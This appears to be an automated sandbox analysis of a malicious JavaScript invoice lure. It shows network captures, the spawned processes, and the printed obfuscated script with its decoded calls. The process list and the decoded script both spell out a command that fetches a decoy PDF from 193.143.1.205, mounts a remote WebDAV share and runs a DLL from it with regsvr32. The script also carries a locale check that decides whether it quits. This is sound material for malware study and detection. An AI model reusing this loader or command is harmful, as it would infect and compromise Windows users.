Jan 11, 2025 05:45:10.483395100 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 05:45:10.483405113 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 05:45:10.483441114 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:45:10.483453035 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:45:10.483464003 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:45:10.483475924 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:45:10.488171101 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7644	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:45:12.474833012 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:45:13.245224953 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:45:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:45:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js"
Imagebase:	0x7ff6c0300000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:45:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Imagebase:	0x7ff7fca60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:45:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:45:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:45:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:45:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fca60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:45:11
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff792cf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:45:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:45:12
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x910000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:45:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1544,i,4828611498505330014,18356012295876335085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kzbijd() {	kzbijd() ➔ undefined
1	spkipcj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var biknxj = this[timwjtjd + aarmjukwp + rfixhls + ubomvgs + waxdpvt + qtpri + zpxxcyc + xypak] ( this[lyzkikzm + zwpbkr + peqefodal + rfixhls + jztee + timwjtjd + xypak][lirnw + rfixhls + waxdpvt + aarmjukwp + xypak + waxdpvt + xulyyaqdp + dygmjb + oirduwrw + waxdpvt + peqefodal + xypak] ( lyzkikzm + zwpbkr + peqefodal + rfixhls + jztee + timwjtjd + xypak + yvlmi + zwpbkr + tklasbv + waxdpvt + jjmjrm + jjmjrm ) [hsrhh + waxdpvt + aacefndhk + hsrhh + waxdpvt + aarmjukwp + cdhcj] ( izxtayum + guucvdx + jibuuen + kblfw + mzacrkfo + lirnw + jtccnzsk + hsrhh + hsrhh + jibuuen + wegdnp + hrfxuubwn + mzacrkfo + jtccnzsk + zwpbkr + jibuuen + hsrhh + otbxr + lirnw + aaomh + zpxxcyc + xypak + rfixhls + aaomh + jjmjrm + ncsntfcws + fsyotk + aarmjukwp + zpxxcyc + waxdpvt + jjmjrm + otbxr + qtpri + zpxxcyc + xypak + waxdpvt + rfixhls + zpxxcyc + aarmjukwp + xypak + jztee + aaomh + zpxxcyc + aarmjukwp + jjmjrm + otbxr + hsnkmenk + aaomh + peqefodal + aarmjukwp + jjmjrm + waxdpvt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( sspxfljsl = 0 ; sspxfljsl < spkipcj[jjmjrm + waxdpvt + zpxxcyc + aacefndhk + xypak + tklasbv] ; ++ sspxfljsl )
4	{
5	if ( biknxj == spkipcj[sspxfljsl] )
6	{
7	biknxj = true;
8	break ;
9	}
10	}
11	if ( biknxj !== true )
12	this[lyzkikzm + zwpbkr + peqefodal + rfixhls + jztee + timwjtjd + xypak][wnxgbqufl + dwphar + jztee + xypak] ( );
13	this[lyzkikzm + zwpbkr + peqefodal + rfixhls + jztee + timwjtjd + xypak][lirnw + rfixhls + waxdpvt + aarmjukwp + xypak + waxdpvt + xulyyaqdp + dygmjb + oirduwrw + waxdpvt + peqefodal + xypak] ( lyzkikzm + zwpbkr + peqefodal + rfixhls + jztee + timwjtjd + xypak + yvlmi + zwpbkr + tklasbv + waxdpvt + jjmjrm + jjmjrm ) [rfixhls + dwphar + zpxxcyc] ( peqefodal + nieoxquo + cdhcj + ncsntfcws + fpfhu + peqefodal + ncsntfcws + timwjtjd + aaomh + jxwecielv + waxdpvt + rfixhls + ubomvgs + tklasbv + waxdpvt + jjmjrm + jjmjrm + yvlmi + waxdpvt + kukjeoa + waxdpvt + ncsntfcws + hepycve + lirnw + aaomh + nieoxquo + nieoxquo + aarmjukwp + zpxxcyc + cdhcj + ncsntfcws + mbqccp + qtpri + zpxxcyc + emicrw + aaomh + rmzlarfj + waxdpvt + hepycve + lyzkikzm + waxdpvt + dygmjb + hsrhh + waxdpvt + fmxtkjbdb + dwphar + waxdpvt + ubomvgs + xypak + ncsntfcws + hepycve + xulyyaqdp + dwphar + xypak + fzmrshbw + jztee + jjmjrm + waxdpvt + ncsntfcws + djdoqtl + xypak + waxdpvt + nieoxquo + timwjtjd + djdoqtl + otbxr + jztee + zpxxcyc + emicrw + aaomh + jztee + peqefodal + waxdpvt + yvlmi + timwjtjd + cdhcj + mnxvdmy + ncsntfcws + tklasbv + xypak + xypak + timwjtjd + ghmxnscbx + fpfhu + fpfhu + tnohzqmws + awmeaqi + imxvssi + yvlmi + tnohzqmws + byafdp + imxvssi + yvlmi + tnohzqmws + yvlmi + stukmwzba + vzgueeoh + pnjai + fpfhu + jztee + zpxxcyc + emicrw + aaomh + jztee + peqefodal + waxdpvt + yvlmi + timwjtjd + tklasbv + timwjtjd + mbqccp + orktiftab + orktiftab + ubomvgs + xypak + aarmjukwp + rfixhls + xypak + ncsntfcws + djdoqtl + xypak + waxdpvt + nieoxquo + timwjtjd + djdoqtl + otbxr + jztee + zpxxcyc + emicrw + aaomh + jztee + peqefodal + waxdpvt + yvlmi + timwjtjd + cdhcj + mnxvdmy + orktiftab + orktiftab + peqefodal + nieoxquo + cdhcj + ncsntfcws + fpfhu + peqefodal + ncsntfcws + zpxxcyc + waxdpvt + xypak + ncsntfcws + dwphar + ubomvgs + waxdpvt + ncsntfcws + otbxr + otbxr + tnohzqmws + awmeaqi + imxvssi + yvlmi + tnohzqmws + byafdp + imxvssi + yvlmi + tnohzqmws + yvlmi + stukmwzba + vzgueeoh + pnjai + aznoudli + pjzaifgfy + pjzaifgfy + pjzaifgfy + pjzaifgfy + otbxr + cdhcj + aarmjukwp + emicrw + jxwecielv + jxwecielv + jxwecielv + rfixhls + aaomh + aaomh + xypak + otbxr + orktiftab + orktiftab + peqefodal + nieoxquo + cdhcj + ncsntfcws + fpfhu + peqefodal + ncsntfcws + rfixhls + waxdpvt + aacefndhk + ubomvgs + emicrw + rfixhls + imxvssi + stukmwzba + ncsntfcws + fpfhu + ubomvgs + ncsntfcws + otbxr + otbxr + tnohzqmws + awmeaqi + imxvssi + yvlmi + tnohzqmws + byafdp + imxvssi + yvlmi + tnohzqmws + yvlmi + stukmwzba + vzgueeoh + pnjai + aznoudli + pjzaifgfy + pjzaifgfy + pjzaifgfy + pjzaifgfy + otbxr + cdhcj + aarmjukwp + emicrw + jxwecielv + jxwecielv + jxwecielv + rfixhls + aaomh + aaomh + xypak + otbxr + stukmwzba + imxvssi + awmeaqi + djxni + stukmwzba + awmeaqi + awmeaqi + tnohzqmws + jdkcnvzf + pnjai + jdkcnvzf + imxvssi + imxvssi + yvlmi + cdhcj + jjmjrm + jjmjrm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll",0,false) ➔ 0
14	}
15	peqefodal = "x";
16	peqefodal = "o";
17	peqefodal = "f";
18	peqefodal = "d";
19	peqefodal = "L";
20	peqefodal = "B";
21	peqefodal = "v";
22	peqefodal = "z";
23	peqefodal = "x";
24	peqefodal = "k";
25	peqefodal = "U";
26	peqefodal = "C";
27	peqefodal = "r";
28	peqefodal = "p";
29	peqefodal = "P";
30	peqefodal = "S";
31	peqefodal = "J";
32	peqefodal = "a";
33	peqefodal = "c";
34	xypak = "w";
35	xypak = "q";
36	xypak = "U";
37	xypak = "E";
38	xypak = "N";
39	xypak = "B";
40	xypak = "h";
41	xypak = "B";
42	xypak = "U";
43	xypak = "G";
44	xypak = "u";
45	xypak = "m";
46	xypak = "W";
47	xypak = "O";
48	xypak = "Z";
49	xypak = "z";
50	xypak = "G";
51	xypak = "s";
52	xypak = "b";
53	xypak = "N";
54	xypak = "y";
55	xypak = "f";
56	xypak = "k";
57	xypak = "D";
58	xypak = "o";
59	xypak = "M";
60	xypak = "b";
61	xypak = "L";
62	xypak = "t";
63	xypak = "E";
64	xypak = "b";
65	xypak = "t";
66	xypak = "f";
67	xypak = "v";
68	xypak = "t";
69	byafdp = "U";
70	byafdp = "c";
71	byafdp = "s";
72	byafdp = "L";
73	byafdp = "J";
74	byafdp = "b";
75	byafdp = "S";
76	byafdp = "g";
77	byafdp = "L";
78	byafdp = "x";
79	byafdp = "m";
80	byafdp = "F";
81	byafdp = "c";
82	byafdp = "J";
83	byafdp = "v";
84	byafdp = "W";
85	byafdp = "s";
86	byafdp = "I";
87	byafdp = "O";
88	byafdp = "t";
89	byafdp = "L";
90	byafdp = "P";
91	byafdp = "v";
92	byafdp = "a";
93	byafdp = "Y";
94	byafdp = "u";
95	byafdp = "a";
96	byafdp = "U";
97	byafdp = "s";
98	byafdp = "b";
99	byafdp = "L";
100	byafdp = "V";
101	byafdp = "o";
102	byafdp = "q";
103	byafdp = "g";
104	byafdp = "X";
105	byafdp = "t";
106	byafdp = "j";
107	byafdp = "q";
108	byafdp = "4";
109	dygmjb = "G";
110	dygmjb = "b";
111	dygmjb = "H";
112	dygmjb = "O";
113	dygmjb = "e";
114	dygmjb = "i";
115	dygmjb = "y";
116	dygmjb = "M";
117	dygmjb = "l";
118	dygmjb = "p";
119	dygmjb = "r";
120	dygmjb = "P";
121	dygmjb = "F";
122	dygmjb = "y";
123	dygmjb = "U";
124	dygmjb = "s";
125	dygmjb = "v";
126	dygmjb = "b";
127	dygmjb = "O";
128	dygmjb = "v";
129	dygmjb = "L";
130	dygmjb = "G";
131	dygmjb = "u";
132	dygmjb = "A";
133	dygmjb = "j";
134	dygmjb = "D";
135	dygmjb = "r";
136	dygmjb = "w";
137	dygmjb = "b";
138	djxni = "v";
139	djxni = "f";
140	djxni = "I";
141	djxni = "c";
142	djxni = "B";
143	djxni = "a";
144	djxni = "f";
145	djxni = "k";
146	djxni = "R";
147	djxni = "6";
148	pnjai = "H";
149	pnjai = "f";
150	pnjai = "I";
151	pnjai = "H";
152	pnjai = "B";
153	pnjai = "S";
154	pnjai = "U";
155	pnjai = "O";
156	pnjai = "G";
157	pnjai = "x";
158	pnjai = "d";
159	pnjai = "b";
160	pnjai = "k";
161	pnjai = "Y";
162	pnjai = "K";
163	pnjai = "B";
164	pnjai = "c";
165	pnjai = "K";
166	pnjai = "w";
167	pnjai = "B";
168	pnjai = "F";
169	pnjai = "v";
170	pnjai = "F";
171	pnjai = "e";
172	pnjai = "P";
173	pnjai = "h";
174	pnjai = "N";
175	pnjai = "i";
176	pnjai = "y";
177	pnjai = "k";
178	pnjai = "G";
179	pnjai = "i";
180	pnjai = "e";
181	pnjai = "V";
182	pnjai = "F";
183	pnjai = "V";
184	pnjai = "g";
185	pnjai = "K";
186	pnjai = "S";
187	pnjai = "G";
188	pnjai = "5";
189	fmxtkjbdb = "v";
190	fmxtkjbdb = "P";
191	fmxtkjbdb = "h";
192	fmxtkjbdb = "U";
193	fmxtkjbdb = "w";
194	fmxtkjbdb = "U";
195	fmxtkjbdb = "s";
196	fmxtkjbdb = "b";
197	fmxtkjbdb = "o";
198	fmxtkjbdb = "m";
199	fmxtkjbdb = "f";
200	fmxtkjbdb = "H";
201	fmxtkjbdb = "K";
202	fmxtkjbdb = "v";
203	fmxtkjbdb = "I";
204	fmxtkjbdb = "w";
205	fmxtkjbdb = "s";
206	fmxtkjbdb = "P";
207	fmxtkjbdb = "k";
208	fmxtkjbdb = "D";
209	fmxtkjbdb = "O";
210	fmxtkjbdb = "m";
211	fmxtkjbdb = "g";
212	fmxtkjbdb = "C";
213	fmxtkjbdb = "w";
214	fmxtkjbdb = "E";
215	fmxtkjbdb = "f";
216	fmxtkjbdb = "u";
217	fmxtkjbdb = "f";
218	fmxtkjbdb = "y";
219	fmxtkjbdb = "H";
220	fmxtkjbdb = "q";
221	fmxtkjbdb = "y";
222	fmxtkjbdb = "i";
223	fmxtkjbdb = "g";
224	fmxtkjbdb = "n";
225	fmxtkjbdb = "n";
226	fmxtkjbdb = "t";
227	fmxtkjbdb = "f";
228	fmxtkjbdb = "q";
229	zpxxcyc = "B";
230	zpxxcyc = "I";
231	zpxxcyc = "f";
232	zpxxcyc = "z";
233	zpxxcyc = "X";
234	zpxxcyc = "T";
235	zpxxcyc = "G";
236	zpxxcyc = "H";
237	zpxxcyc = "s";
238	zpxxcyc = "l";
239	zpxxcyc = "J";
240	zpxxcyc = "Z";
241	zpxxcyc = "R";
242	zpxxcyc = "A";
243	zpxxcyc = "R";
244	zpxxcyc = "b";
245	zpxxcyc = "l";
246	zpxxcyc = "Z";
247	zpxxcyc = "w";
248	zpxxcyc = "c";
249	zpxxcyc = "r";
250	zpxxcyc = "n";
251	imxvssi = "u";
252	imxvssi = "w";
253	imxvssi = "e";
254	imxvssi = "g";
255	imxvssi = "d";
256	imxvssi = "t";
257	imxvssi = "w";
258	imxvssi = "W";
259	imxvssi = "U";
260	imxvssi = "H";
261	imxvssi = "p";
262	imxvssi = "d";
263	imxvssi = "w";
264	imxvssi = "h";
265	imxvssi = "R";
266	imxvssi = "Y";
267	imxvssi = "u";
268	imxvssi = "m";
269	imxvssi = "a";
270	imxvssi = "i";
271	imxvssi = "f";
272	imxvssi = "n";
273	imxvssi = "E";
274	imxvssi = "I";
275	imxvssi = "E";
276	imxvssi = "I";
277	imxvssi = "V";
278	imxvssi = "B";
279	imxvssi = "W";
280	imxvssi = "z";
281	imxvssi = "Y";
282	imxvssi = "R";
283	imxvssi = "T";
284	imxvssi = "o";
285	imxvssi = "f";
286	imxvssi = "y";
287	imxvssi = "H";
288	imxvssi = "m";
289	imxvssi = "3";
290	hsrhh = "Y";
291	hsrhh = "E";
292	hsrhh = "R";
293	hsrhh = "L";
294	hsrhh = "S";
295	hsrhh = "N";
296	hsrhh = "Y";
297	hsrhh = "t";
298	hsrhh = "G";
299	hsrhh = "I";
300	hsrhh = "D";
301	hsrhh = "n";
302	hsrhh = "F";
303	hsrhh = "I";
304	hsrhh = "C";
305	hsrhh = "g";
306	hsrhh = "S";
307	hsrhh = "h";
308	hsrhh = "t";
309	hsrhh = "a";
310	hsrhh = "b";
311	hsrhh = "G";
312	hsrhh = "a";
313	hsrhh = "i";
314	hsrhh = "S";
315	hsrhh = "R";
316	dwphar = "o";
317	dwphar = "V";
318	dwphar = "o";
319	dwphar = "L";
320	dwphar = "y";
321	dwphar = "u";
322	aznoudli = "B";
323	aznoudli = "k";
324	aznoudli = "J";
325	aznoudli = "Q";
326	aznoudli = "r";
327	aznoudli = "L";
328	aznoudli = "I";
329	aznoudli = "r";
330	aznoudli = "Y";
331	aznoudli = "C";
332	aznoudli = "L";
333	aznoudli = "D";
334	aznoudli = "q";
335	aznoudli = "p";
336	aznoudli = "x";
337	aznoudli = "c";
338	aznoudli = "S";
339	aznoudli = "P";
340	aznoudli = "f";
341	aznoudli = "m";
342	aznoudli = "m";
343	aznoudli = "s";
344	aznoudli = "P";
345	aznoudli = "t";
346	aznoudli = "d";
347	aznoudli = "D";
348	aznoudli = "o";
349	aznoudli = "t";
350	aznoudli = "a";
351	aznoudli = "t";
352	aznoudli = "G";
353	aznoudli = "F";
354	aznoudli = "J";
355	aznoudli = "v";
356	aznoudli = "K";
357	aznoudli = "h";
358	aznoudli = "v";
359	aznoudli = "h";
360	aznoudli = "@";
361	yvlmi = "Z";
362	yvlmi = "b";
363	yvlmi = "Y";
364	yvlmi = "N";
365	yvlmi = "Y";
366	yvlmi = "x";
367	yvlmi = "H";
368	yvlmi = "A";
369	yvlmi = "r";
370	yvlmi = "n";
371	yvlmi = "h";
372	yvlmi = "s";
373	yvlmi = "L";
374	yvlmi = "x";
375	yvlmi = "Q";
376	yvlmi = "o";
377	yvlmi = "D";
378	yvlmi = "K";
379	yvlmi = "H";
380	yvlmi = "n";
381	yvlmi = "K";
382	yvlmi = "Q";
383	yvlmi = "P";
384	yvlmi = "E";
385	yvlmi = "i";
386	yvlmi = "s";
387	yvlmi = "M";
388	yvlmi = ".";
389	guucvdx = "w";
390	guucvdx = "Y";
391	guucvdx = "y";
392	guucvdx = "e";
393	guucvdx = "I";
394	guucvdx = "J";
395	guucvdx = "F";
396	guucvdx = "M";
397	guucvdx = "e";
398	guucvdx = "O";
399	guucvdx = "w";
400	guucvdx = "j";
401	guucvdx = "b";
402	guucvdx = "J";
403	guucvdx = "T";
404	guucvdx = "K";
405	guucvdx = "Y";
406	guucvdx = "V";
407	guucvdx = "m";
408	guucvdx = "M";
409	guucvdx = "k";
410	guucvdx = "U";
411	guucvdx = "f";
412	guucvdx = "s";
413	guucvdx = "i";
414	guucvdx = "G";
415	guucvdx = "Z";
416	guucvdx = "l";
417	guucvdx = "F";
418	guucvdx = "H";
419	guucvdx = "g";
420	guucvdx = "x";
421	guucvdx = "b";
422	guucvdx = "J";
423	guucvdx = "E";
424	guucvdx = "m";
425	guucvdx = "p";
426	guucvdx = "V";
427	guucvdx = "z";
428	guucvdx = "z";
429	guucvdx = "N";
430	guucvdx = "H";
431	guucvdx = "p";
432	guucvdx = "R";
433	guucvdx = "K";
434	oirduwrw = "l";
435	oirduwrw = "A";
436	oirduwrw = "t";
437	oirduwrw = "m";
438	oirduwrw = "J";
439	oirduwrw = "w";
440	oirduwrw = "E";
441	oirduwrw = "t";
442	oirduwrw = "W";
443	oirduwrw = "V";
444	oirduwrw = "a";
445	oirduwrw = "e";
446	oirduwrw = "A";
447	oirduwrw = "d";
448	oirduwrw = "b";
449	oirduwrw = "k";
450	oirduwrw = "Y";
451	oirduwrw = "E";
452	oirduwrw = "f";
453	oirduwrw = "e";
454	oirduwrw = "Q";
455	oirduwrw = "H";
456	oirduwrw = "Y";
457	oirduwrw = "j";
458	hrfxuubwn = "W";
459	hrfxuubwn = "s";
460	hrfxuubwn = "H";
461	hrfxuubwn = "J";
462	hrfxuubwn = "O";
463	hrfxuubwn = "P";
464	hrfxuubwn = "C";
465	hrfxuubwn = "a";
466	hrfxuubwn = "o";
467	hrfxuubwn = "H";
468	hrfxuubwn = "n";
469	hrfxuubwn = "O";
470	hrfxuubwn = "F";
471	hrfxuubwn = "x";
472	hrfxuubwn = "f";
473	hrfxuubwn = "P";
474	hrfxuubwn = "M";
475	hrfxuubwn = "t";
476	hrfxuubwn = "m";
477	hrfxuubwn = "E";
478	hrfxuubwn = "Q";
479	hrfxuubwn = "T";
480	hrfxuubwn = "e";
481	hrfxuubwn = "t";
482	hrfxuubwn = "T";
483	hrfxuubwn = "w";
484	hrfxuubwn = "t";
485	hrfxuubwn = "l";
486	hrfxuubwn = "v";
487	hrfxuubwn = "d";
488	hrfxuubwn = "T";
489	fsyotk = "z";
490	fsyotk = "V";
491	fsyotk = "M";
492	fsyotk = "P";
493	fsyotk = "H";
494	fsyotk = "c";
495	fsyotk = "I";
496	fsyotk = "O";
497	fsyotk = "P";
498	tnohzqmws = "y";
499	tnohzqmws = "t";
500	tnohzqmws = "R";
501	tnohzqmws = "T";
502	tnohzqmws = "e";
503	tnohzqmws = "A";
504	tnohzqmws = "L";
505	tnohzqmws = "1";
506	rmzlarfj = "t";
507	rmzlarfj = "W";
508	rmzlarfj = "b";
509	rmzlarfj = "p";
510	rmzlarfj = "Y";
511	rmzlarfj = "k";
512	rmzlarfj = "l";
513	rmzlarfj = "y";
514	rmzlarfj = "C";
515	rmzlarfj = "p";
